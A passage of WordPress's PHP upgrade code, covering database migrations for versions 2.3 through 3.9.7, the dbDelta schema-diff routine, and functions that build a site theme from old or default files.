slug in a term group and make slugs unique. if ( $exists = $wpdb->get_results( $wpdb->prepare("SELECT term_id, term_group FROM $wpdb->terms WHERE slug = %s", $slug) ) ) { $term_group = $exists[0]->term_group; $term_id = $exists[0]->term_id; } if ( empty($term_id) ) { $wpdb->insert( $wpdb->terms, compact('name', 'slug', 'term_group') ); $term_id = (int) $wpdb->insert_id; } $link_cat_id_map[$cat_id] = $term_id; $default_link_cat = $term_id; $wpdb->insert( $wpdb->term_taxonomy, array('term_id' => $term_id, 'taxonomy' => 'link_category', 'description' => '', 'parent' => 0, 'count' => 0) ); $tt_ids[$term_id] = (int) $wpdb->insert_id; } // Associate links to cats. $links = $wpdb->get_results("SELECT link_id, link_category FROM $wpdb->links"); if ( !empty($links) ) foreach ( $links as $link ) { if ( 0 == $link->link_category ) continue; if ( ! isset($link_cat_id_map[$link->link_category]) ) continue; $term_id = $link_cat_id_map[$link->link_category]; $tt_id = $tt_ids[$term_id]; if ( empty($tt_id) ) continue; $wpdb->insert( $wpdb->term_relationships, array('object_id' => $link->link_id, 'term_taxonomy_id' => $tt_id) ); } // Set default to the last category we grabbed during the upgrade loop. update_option('default_link_category', $default_link_cat); } else { $links = $wpdb->get_results("SELECT link_id, category_id FROM $wpdb->link2cat GROUP BY link_id, category_id"); foreach ( $links as $link ) { $link_id = (int) $link->link_id; $term_id = (int) $link->category_id; $taxonomy = 'link_category'; $tt_id = $tt_ids[$term_id][$taxonomy]; if ( empty($tt_id) ) continue; $wpdb->insert( $wpdb->term_relationships, array('object_id' => $link_id, 'term_taxonomy_id' => $tt_id) ); } } if ( $wp_current_db_version < 4772 ) { // Obsolete linkcategories table $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'linkcategories'); } // Recalculate all counts $terms = $wpdb->get_results("SELECT term_taxonomy_id, taxonomy FROM $wpdb->term_taxonomy"); foreach ( (array) $terms as $term ) { if ( ('post_tag' == $term->taxonomy) || ('category' == $term->taxonomy) ) $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships, $wpdb->posts WHERE $wpdb->posts.ID = $wpdb->term_relationships.object_id AND post_status = 'publish' AND post_type = 'post' AND term_taxonomy_id = %d", $term->term_taxonomy_id) ); else $count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->term_relationships WHERE term_taxonomy_id = %d", $term->term_taxonomy_id) ); $wpdb->update( $wpdb->term_taxonomy, array('count' => $count), array('term_taxonomy_id' => $term->term_taxonomy_id) ); } } /** * Remove old options from the database. * * @since 2.3.0 */ function upgrade_230_options_table() { global $wpdb; $old_options_fields = array( 'option_can_override', 'option_type', 'option_width', 'option_height', 'option_description', 'option_admin_level' ); $wpdb->hide_errors(); foreach ( $old_options_fields as $old ) $wpdb->query("ALTER TABLE $wpdb->options DROP $old"); $wpdb->show_errors(); } /** * Remove old categories, link2cat, and post2cat database tables. * * @since 2.3.0 */ function upgrade_230_old_tables() { global $wpdb; $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'categories'); $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'link2cat'); $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->prefix . 'post2cat'); } /** * Upgrade old slugs made in version 2.2. * * @since 2.2.0 */ function upgrade_old_slugs() { // upgrade people who were using the Redirect Old Slugs plugin global $wpdb; $wpdb->query("UPDATE $wpdb->postmeta SET meta_key = '_wp_old_slug' WHERE meta_key = 'old_slug'"); } /** * Execute changes made in WordPress 2.5.0. * * @since 2.5.0 */ function upgrade_250() { global $wp_current_db_version; if ( $wp_current_db_version < 6689 ) { populate_roles_250(); } } /** * Execute changes made in WordPress 2.5.2. * * @since 2.5.2 */ function upgrade_252() { global $wpdb; $wpdb->query("UPDATE $wpdb->users SET user_activation_key = ''"); } /** * Execute changes made in WordPress 2.6. * * @since 2.6.0 */ function upgrade_260() { global $wp_current_db_version; if ( $wp_current_db_version < 8000 ) populate_roles_260(); } /** * Execute changes made in WordPress 2.7. * * @since 2.7.0 */ function upgrade_270() { global $wpdb, $wp_current_db_version; if ( $wp_current_db_version < 8980 ) populate_roles_270(); // Update post_date for unpublished posts with empty timestamp if ( $wp_current_db_version < 8921 ) $wpdb->query( "UPDATE $wpdb->posts SET post_date = post_modified WHERE post_date = '0000-00-00 00:00:00'" ); } /** * Execute changes made in WordPress 2.8. * * @since 2.8.0 */ function upgrade_280() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version < 10360 ) populate_roles_280(); if ( is_multisite() ) { $start = 0; while( $rows = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options ORDER BY option_id LIMIT $start, 20" ) ) { foreach( $rows as $row ) { $value = maybe_unserialize( $row->option_value ); if ( $value === $row->option_value ) $value = stripslashes( $value ); if ( $value !== $row->option_value ) { update_option( $row->option_name, $value ); } } $start += 20; } refresh_blog_details( $wpdb->blogid ); } } /** * Execute changes made in WordPress 2.9. * * @since 2.9.0 */ function upgrade_290() { global $wp_current_db_version; if ( $wp_current_db_version < 11958 ) { // Previously, setting depth to 1 would redundantly disable threading, but now 2 is the minimum depth to avoid confusion if ( get_option( 'thread_comments_depth' ) == '1' ) { update_option( 'thread_comments_depth', 2 ); update_option( 'thread_comments', 0 ); } } } /** * Execute changes made in WordPress 3.0. * * @since 3.0.0 */ function upgrade_300() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version < 15093 ) populate_roles_300(); if ( $wp_current_db_version < 14139 && is_multisite() && is_main_site() && ! defined( 'MULTISITE' ) && get_site_option( 'siteurl' ) === false ) add_site_option( 'siteurl', '' ); // 3.0 screen options key name changes. if ( is_main_site() && !defined('DO_NOT_UPGRADE_GLOBAL_TABLES') ) { $prefix = like_escape($wpdb->base_prefix); $wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key LIKE '{$prefix}%meta-box-hidden%' OR meta_key LIKE '{$prefix}%closedpostboxes%' OR meta_key LIKE '{$prefix}%manage-%-columns-hidden%' OR meta_key LIKE '{$prefix}%meta-box-order%' OR meta_key LIKE '{$prefix}%metaboxorder%' OR meta_key LIKE '{$prefix}%screen_layout%' OR meta_key = 'manageedittagscolumnshidden' OR meta_key='managecategoriescolumnshidden' OR meta_key = 'manageedit-tagscolumnshidden' OR meta_key = 'manageeditcolumnshidden' OR meta_key = 'categories_per_page' OR meta_key = 'edit_tags_per_page'" ); } } /** * Execute changes made in WordPress 3.3. * * @since 3.3.0 */ function upgrade_330() { global $wp_current_db_version, $wpdb, $wp_registered_widgets, $sidebars_widgets; if ( $wp_current_db_version < 19061 && is_main_site() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { $wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('show_admin_bar_admin', 'plugins_last_view')" ); } if ( $wp_current_db_version >= 11548 ) return; $sidebars_widgets = get_option( 'sidebars_widgets', array() ); $_sidebars_widgets = array(); if ( isset($sidebars_widgets['wp_inactive_widgets']) || empty($sidebars_widgets) ) $sidebars_widgets['array_version'] = 3; elseif ( !isset($sidebars_widgets['array_version']) ) $sidebars_widgets['array_version'] = 1; switch ( $sidebars_widgets['array_version'] ) { case 1 : foreach ( (array) $sidebars_widgets as $index => $sidebar ) if ( is_array($sidebar) ) foreach ( (array) $sidebar as $i => $name ) { $id = strtolower($name); if ( isset($wp_registered_widgets[$id]) ) { $_sidebars_widgets[$index][$i] = $id; continue; } $id = sanitize_title($name); if ( isset($wp_registered_widgets[$id]) ) { $_sidebars_widgets[$index][$i] = $id; continue; } $found = false; foreach ( $wp_registered_widgets as $widget_id => $widget ) { if ( strtolower($widget['name']) == strtolower($name) ) { $_sidebars_widgets[$index][$i] = $widget['id']; $found = true; break; } elseif ( sanitize_title($widget['name']) == sanitize_title($name) ) { $_sidebars_widgets[$index][$i] = $widget['id']; $found = true; break; } } if ( $found ) continue; unset($_sidebars_widgets[$index][$i]); } $_sidebars_widgets['array_version'] = 2; $sidebars_widgets = $_sidebars_widgets; unset($_sidebars_widgets); case 2 : $sidebars_widgets = retrieve_widgets(); $sidebars_widgets['array_version'] = 3; update_option( 'sidebars_widgets', $sidebars_widgets ); } } /** * Execute changes made in WordPress 3.4. * * @since 3.4.0 */ function upgrade_340() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version < 19798 ) { $wpdb->hide_errors(); $wpdb->query( "ALTER TABLE $wpdb->options DROP COLUMN blog_id" ); $wpdb->show_errors(); } if ( $wp_current_db_version < 19799 ) { $wpdb->hide_errors(); $wpdb->query("ALTER TABLE $wpdb->comments DROP INDEX comment_approved"); $wpdb->show_errors(); } if ( $wp_current_db_version < 20022 && is_main_site() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { $wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key = 'themes_last_view'" ); } if ( $wp_current_db_version < 20080 ) { if ( 'yes' == $wpdb->get_var( "SELECT autoload FROM $wpdb->options WHERE option_name = 'uninstall_plugins'" ) ) { $uninstall_plugins = get_option( 'uninstall_plugins' ); delete_option( 'uninstall_plugins' ); add_option( 'uninstall_plugins', $uninstall_plugins, null, 'no' ); } } } /** * Execute changes made in WordPress 3.5. * * @since 3.5.0 */ function upgrade_350() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version < 22006 && $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) update_option( 'link_manager_enabled', 1 ); // Previously set to 0 by populate_options() if ( $wp_current_db_version < 21811 && is_main_site() && ! defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) { $meta_keys = array(); foreach ( array_merge( get_post_types(), get_taxonomies() ) as $name ) { if ( false !== strpos( $name, '-' ) ) $meta_keys[] = 'edit_' . str_replace( '-', '_', $name ) . '_per_page'; } if ( $meta_keys ) { $meta_keys = implode( "', '", $meta_keys ); $wpdb->query( "DELETE FROM $wpdb->usermeta WHERE meta_key IN ('$meta_keys')" ); } } if ( $wp_current_db_version < 22422 && $term = get_term_by( 'slug', 'post-format-standard', 'post_format' ) ) wp_delete_term( $term->term_id, 'post_format' ); } /** * Execute changes made in WordPress 3.7. * * @since 3.7.0 */ function upgrade_370() { global $wp_current_db_version; if ( $wp_current_db_version < 25824 ) wp_clear_scheduled_hook( 'wp_auto_updates_maybe_update' ); } /** * Execute changes made in WordPress 3.7.2. * * @since 3.7.2 * @since 3.8.0 */ function upgrade_372() { global $wp_current_db_version; if ( $wp_current_db_version < 26148 ) wp_clear_scheduled_hook( 'wp_maybe_auto_update' ); } /** * Execute changes made in WordPress 3.8.0. * * @since 3.8.0 */ function upgrade_380() { global $wp_current_db_version; if ( $wp_current_db_version < 26691 ) { deactivate_plugins( array( 'mp6/mp6.php' ), true ); } } /** * Execute changes made in WordPress 3.9.6. * * @since 3.9.6 */ function upgrade_396() { } /** * Execute changes made in WordPress 3.9.7. * * @since 3.9.7 */ function upgrade_397() { global $wp_current_db_version, $wpdb; if ( $wp_current_db_version < 27918 ) { $content_length = $wpdb->get_col_length( $wpdb->comments, 'comment_content' ); if ( is_wp_error( $content_length ) ) { return; } if ( false === $content_length ) { $content_length = array( 'type' => 'byte', 'length' => 65535, ); } elseif ( ! is_array( $content_length ) ) { $length = (int) $content_length > 0 ? (int) $content_length : 65535; $content_length = array( 'type' => 'byte', 'length' => $length ); } if ( 'byte' !== $content_length['type'] || 0 === $content_length['length'] ) { // Sites with malformed DB schemas are on their own. return; } $allowed_length = intval( $content_length['length'] ) - 10; $comments = $wpdb->get_results( "SELECT `comment_ID` FROM `{$wpdb->comments}` WHERE `comment_date_gmt` > '2015-04-26' AND LENGTH( `comment_content` ) >= {$allowed_length} AND ( `comment_content` LIKE '%<%' OR `comment_content` LIKE '%>%' )" ); foreach ( $comments as $comment ) { wp_delete_comment( $comment->comment_ID, true ); } } } /** * Execute network level changes * * @since 3.0.0 */ function upgrade_network() { global $wp_current_db_version, $wpdb; // Always if ( is_main_network() ) { // Deletes all expired transients. // The multi-table delete syntax is used to delete the transient record from table a, // and the corresponding transient_timeout record from table b. $time = time(); $wpdb->query("DELETE a, b FROM $wpdb->sitemeta a, $wpdb->sitemeta b WHERE a.meta_key LIKE '\_site\_transient\_%' AND a.meta_key NOT LIKE '\_site\_transient\_timeout\_%' AND b.meta_key = CONCAT( '_site_transient_timeout_', SUBSTRING( a.meta_key, 17 ) ) AND b.meta_value < $time"); } // 2.8 if ( $wp_current_db_version < 11549 ) { $wpmu_sitewide_plugins = get_site_option( 'wpmu_sitewide_plugins' ); $active_sitewide_plugins = get_site_option( 'active_sitewide_plugins' ); if ( $wpmu_sitewide_plugins ) { if ( !$active_sitewide_plugins ) $sitewide_plugins = (array) $wpmu_sitewide_plugins; else $sitewide_plugins = array_merge( (array) $active_sitewide_plugins, (array) $wpmu_sitewide_plugins ); update_site_option( 'active_sitewide_plugins', $sitewide_plugins ); } delete_site_option( 'wpmu_sitewide_plugins' ); delete_site_option( 'deactivated_sitewide_plugins' ); $start = 0; while( $rows = $wpdb->get_results( "SELECT meta_key, meta_value FROM {$wpdb->sitemeta} ORDER BY meta_id LIMIT $start, 20" ) ) { foreach( $rows as $row ) { $value = $row->meta_value; if ( !@unserialize( $value ) ) $value = stripslashes( $value ); if ( $value !== $row->meta_value ) { update_site_option( $row->meta_key, $value ); } } $start += 20; } } // 3.0 if ( $wp_current_db_version < 13576 ) update_site_option( 'global_terms_enabled', '1' ); // 3.3 if ( $wp_current_db_version < 19390 ) update_site_option( 'initial_db_version', $wp_current_db_version ); if ( $wp_current_db_version < 19470 ) { if ( false === get_site_option( 'active_sitewide_plugins' ) ) update_site_option( 'active_sitewide_plugins', array() ); } // 3.4 if ( $wp_current_db_version < 20148 ) { // 'allowedthemes' keys things by stylesheet. 'allowed_themes' keyed things by name. $allowedthemes = get_site_option( 'allowedthemes' ); $allowed_themes = get_site_option( 'allowed_themes' ); if ( false === $allowedthemes && is_array( $allowed_themes ) && $allowed_themes ) { $converted = array(); $themes = wp_get_themes(); foreach ( $themes as $stylesheet => $theme_data ) { if ( isset( $allowed_themes[ $theme_data->get('Name') ] ) ) $converted[ $stylesheet ] = true; } update_site_option( 'allowedthemes', $converted ); delete_site_option( 'allowed_themes' ); } } // 3.5 if ( $wp_current_db_version < 21823 ) update_site_option( 'ms_files_rewriting', '1' ); // 3.5.2 if ( $wp_current_db_version < 24448 ) { $illegal_names = get_site_option( 'illegal_names' ); if ( is_array( $illegal_names ) && count( $illegal_names ) === 1 ) { $illegal_name = reset( $illegal_names ); $illegal_names = explode( ' ', $illegal_name ); update_site_option( 'illegal_names', $illegal_names ); } } } // The functions we use to actually do stuff // General /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.0.0 * * @param string $table_name Database table name to create. * @param string $create_ddl SQL statement to create table. * @return bool If table already exists or was created by function. */ function maybe_create_table($table_name, $create_ddl) { global $wpdb; if ( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name ) return true; //didn't find it try to create it. $q = $wpdb->query($create_ddl); // we cannot directly tell that whether this succeeded! if ( $wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name ) return true; return false; } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.0.1 * * @param string $table Database table name. * @param string $index Index name to drop. * @return bool True, when finished. */ function drop_index($table, $index) { global $wpdb; $wpdb->hide_errors(); $wpdb->query("ALTER TABLE `$table` DROP INDEX `$index`"); // Now we need to take out all the extra ones we may have created for ($i = 0; $i < 25; $i++) { $wpdb->query("ALTER TABLE `$table` DROP INDEX `{$index}_$i`"); } $wpdb->show_errors(); return true; } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.0.1 * * @param string $table Database table name. * @param string $index Database table index column. * @return bool True, when done with execution. */ function add_clean_index($table, $index) { global $wpdb; drop_index($table, $index); $wpdb->query("ALTER TABLE `$table` ADD INDEX ( `$index` )"); return true; } /** ** maybe_add_column() ** Add column to db table if it doesn't exist. ** Returns: true if already exists or on successful completion ** false on error */ function maybe_add_column($table_name, $column_name, $create_ddl) { global $wpdb; foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) { if ($column == $column_name) { return true; } } //didn't find it try to create it. $q = $wpdb->query($create_ddl); // we cannot directly tell that whether this succeeded! foreach ($wpdb->get_col("DESC $table_name", 0) as $column ) { if ($column == $column_name) { return true; } } return false; } /** * Retrieve all options as it was for 1.2. * * @since 1.2.0 * * @return array List of options. */ function get_alloptions_110() { global $wpdb; $all_options = new stdClass; if ( $options = $wpdb->get_results( "SELECT option_name, option_value FROM $wpdb->options" ) ) { foreach ( $options as $option ) { if ( 'siteurl' == $option->option_name || 'home' == $option->option_name || 'category_base' == $option->option_name ) $option->option_value = untrailingslashit( $option->option_value ); $all_options->{$option->option_name} = stripslashes( $option->option_value ); } } return $all_options; } /** * Version of get_option that is private to install/upgrade. * * @since 1.5.1 * @access private * * @param string $setting Option name. * @return mixed */ function __get_option($setting) { global $wpdb; if ( $setting == 'home' && defined( 'WP_HOME' ) ) return untrailingslashit( WP_HOME ); if ( $setting == 'siteurl' && defined( 'WP_SITEURL' ) ) return untrailingslashit( WP_SITEURL ); $option = $wpdb->get_var( $wpdb->prepare("SELECT option_value FROM $wpdb->options WHERE option_name = %s", $setting ) ); if ( 'home' == $setting && '' == $option ) return __get_option( 'siteurl' ); if ( 'siteurl' == $setting || 'home' == $setting || 'category_base' == $setting || 'tag_base' == $setting ) $option = untrailingslashit( $option ); return maybe_unserialize( $option ); } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 * * @param string $content * @return string */ function deslash($content) { // Note: \\\ inside a regex denotes a single backslash. // Replace one or more backslashes followed by a single quote with // a single quote. $content = preg_replace("/\\\+'/", "'", $content); // Replace one or more backslashes followed by a double quote with // a double quote. $content = preg_replace('/\\\+"/', '"', $content); // Replace one or more backslashes with one backslash. $content = preg_replace("/\\\+/", "\\", $content); return $content; } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 * * @param unknown_type $queries * @param unknown_type $execute * @return unknown */ function dbDelta( $queries = '', $execute = true ) { global $wpdb; if ( in_array( $queries, array( '', 'all', 'blog', 'global', 'ms_global' ), true ) ) $queries = wp_get_db_schema( $queries ); // Separate individual queries into an array if ( !is_array($queries) ) { $queries = explode( ';', $queries ); $queries = array_filter( $queries ); } /** * Filter the dbDelta SQL queries. * * @since 3.3.0 * * @param array $queries An array of dbDelta SQL queries. */ $queries = apply_filters( 'dbdelta_queries', $queries ); $cqueries = array(); // Creation Queries $iqueries = array(); // Insertion Queries $for_update = array(); // Create a tablename index for an array ($cqueries) of queries foreach($queries as $qry) { if (preg_match("|CREATE TABLE ([^ ]*)|", $qry, $matches)) { $cqueries[ trim( $matches[1], '`' ) ] = $qry; $for_update[$matches[1]] = 'Created table '.$matches[1]; } else if (preg_match("|CREATE DATABASE ([^ ]*)|", $qry, $matches)) { array_unshift($cqueries, $qry); } else if (preg_match("|INSERT INTO ([^ ]*)|", $qry, $matches)) { $iqueries[] = $qry; } else if (preg_match("|UPDATE ([^ ]*)|", $qry, $matches)) { $iqueries[] = $qry; } else { // Unrecognized query type } } /** * Filter the dbDelta SQL queries for creating tables and/or databases. * * Queries filterable via this hook contain "CREATE TABLE" or "CREATE DATABASE". * * @since 3.3.0 * * @param array $cqueries An array of dbDelta create SQL queries. */ $cqueries = apply_filters( 'dbdelta_create_queries', $cqueries ); /** * Filter the dbDelta SQL queries for inserting or updating. * * Queries filterable via this hook contain "INSERT INTO" or "UPDATE". * * @since 3.3.0 * * @param array $iqueries An array of dbDelta insert or update SQL queries. */ $iqueries = apply_filters( 'dbdelta_insert_queries', $iqueries ); $global_tables = $wpdb->tables( 'global' ); foreach ( $cqueries as $table => $qry ) { // Upgrade global tables only for the main site. Don't upgrade at all if DO_NOT_UPGRADE_GLOBAL_TABLES is defined. if ( in_array( $table, $global_tables ) && ( !is_main_site() || defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) ) { unset( $cqueries[ $table ], $for_update[ $table ] ); continue; } // Fetch the table column structure from the database $suppress = $wpdb->suppress_errors(); $tablefields = $wpdb->get_results("DESCRIBE {$table};"); $wpdb->suppress_errors( $suppress ); if ( ! $tablefields ) continue; // Clear the field and index arrays $cfields = $indices = array(); // Get all of the field names in the query from between the parens preg_match("|\((.*)\)|ms", $qry, $match2); $qryline = trim($match2[1]); // Separate field lines into an array $flds = explode("\n", $qryline); //echo "<hr/><pre>\n".print_r(strtolower($table), true).":\n".print_r($cqueries, true)."</pre><hr/>"; // For every field line specified in the query foreach ($flds as $fld) { // Extract the field name preg_match("|^([^ ]*)|", trim($fld), $fvals); $fieldname = trim( $fvals[1], '`' ); // Verify the found field name $validfield = true; switch (strtolower($fieldname)) { case '': case 'primary': case 'index': case 'fulltext': case 'unique': case 'key': $validfield = false; $indices[] = trim(trim($fld), ", \n"); break; } $fld = trim($fld); // If it's a valid field, add it to the field array if ($validfield) { $cfields[strtolower($fieldname)] = trim($fld, ", \n"); } } // For every field in the table foreach ($tablefields as $tablefield) { // If the table field exists in the field array... if (array_key_exists(strtolower($tablefield->Field), $cfields)) { // Get the field type from the query preg_match("|".$tablefield->Field." ([^ ]*( unsigned)?)|i", $cfields[strtolower($tablefield->Field)], $matches); $fieldtype = $matches[1]; // Is actual field type different from the field type in query? if ($tablefield->Type != $fieldtype) { // Add a query to change the column type $cqueries[] = "ALTER TABLE {$table} CHANGE COLUMN {$tablefield->Field} " . $cfields[strtolower($tablefield->Field)]; $for_update[$table.'.'.$tablefield->Field] = "Changed type of {$table}.{$tablefield->Field} from {$tablefield->Type} to {$fieldtype}"; } // Get the default value from the array //echo "{$cfields[strtolower($tablefield->Field)]}<br>"; if (preg_match("| DEFAULT '(.*?)'|i", $cfields[strtolower($tablefield->Field)], $matches)) { $default_value = $matches[1]; if ($tablefield->Default != $default_value) { // Add a query to change the column's default value $cqueries[] = "ALTER TABLE {$table} ALTER COLUMN {$tablefield->Field} SET DEFAULT '{$default_value}'"; $for_update[$table.'.'.$tablefield->Field] = "Changed default value of {$table}.{$tablefield->Field} from {$tablefield->Default} to {$default_value}"; } } // Remove the field from the array (so it's not added) unset($cfields[strtolower($tablefield->Field)]); } else { // This field exists in the table, but not in the creation queries? } } // For every remaining field specified for the table foreach ($cfields as $fieldname => $fielddef) { // Push a query line into $cqueries that adds the field to that table $cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef"; $for_update[$table.'.'.$fieldname] = 'Added column '.$table.'.'.$fieldname; } // Index stuff goes here // Fetch the table index structure from the database $tableindices = $wpdb->get_results("SHOW INDEX FROM {$table};"); if ($tableindices) { // Clear the index array unset($index_ary); // For every index in the table foreach ($tableindices as $tableindex) { // Add the index to the index data array $keyname = $tableindex->Key_name; $index_ary[$keyname]['columns'][] = array('fieldname' => $tableindex->Column_name, 'subpart' => $tableindex->Sub_part); $index_ary[$keyname]['unique'] = ($tableindex->Non_unique == 0)?true:false; } // For each actual index in the index array foreach ($index_ary as $index_name => $index_data) { // Build a create string to compare to the query $index_string = ''; if ($index_name == 'PRIMARY') { $index_string .= 'PRIMARY '; } else if($index_data['unique']) { $index_string .= 'UNIQUE '; } $index_string .= 'KEY '; if ($index_name != 'PRIMARY') { $index_string .= $index_name; } $index_columns = ''; // For each column in the index foreach ($index_data['columns'] as $column_data) { if ($index_columns != '') $index_columns .= ','; // Add the field to the column list string $index_columns .= $column_data['fieldname']; if ($column_data['subpart'] != '') { $index_columns .= '('.$column_data['subpart'].')'; } } // Add the column list to the index create string $index_string .= ' ('.$index_columns.')'; if (!(($aindex = array_search($index_string, $indices)) === false)) { unset($indices[$aindex]); //echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">{$table}:<br />Found index:".$index_string."</pre>\n"; } //else echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">{$table}:<br /><b>Did not find index:</b>".$index_string."<br />".print_r($indices, true)."</pre>\n"; } } // For every remaining index specified for the table foreach ( (array) $indices as $index ) { // Push a query line into $cqueries that adds the index to that table $cqueries[] = "ALTER TABLE {$table} ADD $index"; $for_update[] = 'Added index ' . $table . ' ' . $index; } // Remove the original table creation query from processing unset( $cqueries[ $table ], $for_update[ $table ] ); } $allqueries = array_merge($cqueries, $iqueries); if ($execute) { foreach ($allqueries as $query) { //echo "<pre style=\"border:1px solid #ccc;margin-top:5px;\">".print_r($query, true)."</pre>\n"; $wpdb->query($query); } } return $for_update; } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 */ function make_db_current( $tables = 'all' ) { $alterations = dbDelta( $tables ); echo "<ol>\n"; foreach($alterations as $alteration) echo "<li>$alteration</li>\n"; echo "</ol>\n"; } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 */ function make_db_current_silent( $tables = 'all' ) { $alterations = dbDelta( $tables ); } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 * * @param unknown_type $theme_name * @param unknown_type $template * @return unknown */ function make_site_theme_from_oldschool($theme_name, $template) { $home_path = get_home_path(); $site_dir = WP_CONTENT_DIR . "/themes/$template"; if (! file_exists("$home_path/index.php")) return false; // Copy files from the old locations to the site theme. // TODO: This does not copy arbitrary include dependencies. Only the // standard WP files are copied. $files = array('index.php' => 'index.php', 'wp-layout.css' => 'style.css', 'wp-comments.php' => 'comments.php', 'wp-comments-popup.php' => 'comments-popup.php'); foreach ($files as $oldfile => $newfile) { if ($oldfile == 'index.php') $oldpath = $home_path; else $oldpath = ABSPATH; if ($oldfile == 'index.php') { // Check to make sure it's not a new index $index = implode('', file("$oldpath/$oldfile")); if (strpos($index, 'WP_USE_THEMES') !== false) { if (! @copy(WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME . '/index.php', "$site_dir/$newfile")) return false; continue; // Don't copy anything } } if (! @copy("$oldpath/$oldfile", "$site_dir/$newfile")) return false; chmod("$site_dir/$newfile", 0777); // Update the blog header include in each file. $lines = explode("\n", implode('', file("$site_dir/$newfile"))); if ($lines) { $f = fopen("$site_dir/$newfile", 'w'); foreach ($lines as $line) { if (preg_match('/require.*wp-blog-header/', $line)) $line = '//' . $line; // Update stylesheet references. $line = str_replace("<?php echo __get_option('siteurl'); ?>/wp-layout.css", "<?php bloginfo('stylesheet_url'); ?>", $line); // Update comments template inclusion. $line = str_replace("<?php include(ABSPATH . 'wp-comments.php'); ?>", "<?php comments_template(); ?>", $line); fwrite($f, "{$line}\n"); } fclose($f); } } // Add a theme header. $header = "/*\nTheme Name: $theme_name\nTheme URI: " . __get_option('siteurl') . "\nDescription: A theme automatically created by the update.\nVersion: 1.0\nAuthor: Moi\n*/\n"; $stylelines = file_get_contents("$site_dir/style.css"); if ($stylelines) { $f = fopen("$site_dir/style.css", 'w'); fwrite($f, $header); fwrite($f, $stylelines); fclose($f); } return true; } /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 * * @param unknown_type $theme_name * @param unknown_type $template * @return unknown */ function make_site_theme_from_default($theme_name, $template) { $site_dir = WP_CONTENT_DIR . "/themes/$template"; $default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME; // Copy files from the default theme to the site theme. //$files = array('index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css'); $theme_dir = @ opendir($default_dir); if ($theme_dir) { while(($theme_file = readdir( $theme_dir )) !== false) { if (is_dir("$default_dir/$theme_file")) continue; if (! @copy("$default_dir/$theme_file", "$site_dir/$theme_file")) return; chmod("$site_dir/$theme_file", 0777); } } @closedir($theme_dir); // Rewrite the theme header. $stylelines = explode("\n", implode('', file("$site_dir/style.css"))); if ($stylelines) { $f = fopen("$site_dir/style.css", 'w'); foreach ($stylelines as $line) { if (strpos($line, 'Theme Name:') !== false) $line = 'Theme Name: ' . $theme_name; elseif (strpos($line, 'Theme URI:') !== false) $line = 'Theme URI: ' . __get_option('url'); elseif (strpos($line, 'Description:') !== false) $line = 'Description: Your theme.'; elseif (strpos($line, 'Version:') !== false) $line = 'Version: 1'; elseif (strpos($line, 'Author:') !== false) $line = 'Author: You'; fwrite($f, $line . "\n"); } fclose($f); } // Copy the images. umask(0); if (! mkdir("$site_dir/images", 0777)) { return false; } $images_dir = @ opendir("$default_dir/images"); if ($images_dir) { while(($image = readdir($images_dir)) !== false) { if (is_dir("$default_dir/images/$image")) continue; if (! @copy("$default_dir/images/$image", "$site_dir/images/$image")) return; chmod("$site_dir/images/$image", 0777); } } @closedir($images_dir); } // Create a site theme from the default theme. /** * {@internal Missing Short Description}} * * {@internal Missing Long Description}} * * @since 1.5.0 * * @return unknown */ function make_site_theme() { // Name the theme after the blog. $theme_name = __get_option('blogname'); $template = sanitize_title($theme_name); $site_dir = WP_CONTENT_DIR . "/themes/$template"; // If the theme already exists, nothing to do. if ( is_dir($site_dir)) { return false; } // We must be able to write to the themes dir. if (! is_writable(WP_CONTENT_DIR . "/themes")) { return false; } umask(0); if (! mkdir($site_dir, 0777)) { return false; } if (file_exists(ABSPATH . 'wp-layout.css')) { if (! make_site_theme_from_oldschool($theme_name, $template)) { // TODO: rm -rf the site theme directory. return false; } } else { if (! make_site_theme_from_default($theme_name, $template)) // TODO: rm -rf the site theme directory. return false; } // Make the new site theme active. $current_template = __get_option('template'); if ($current_template == WP_DEFAULT_THEME) { update_option('template', $template); update_option('stylesheet', $template); } return $template; } /** * Translate user level to user role name. * * @since 2.0.0 * * @param int $level User level. * @return string User role name. */ function translate_level_to_role($level) { switch ($level) { case 10: case 9: case 8: return 'administrator'; case 7: case 6: case 5: return 'editor'; case 4: 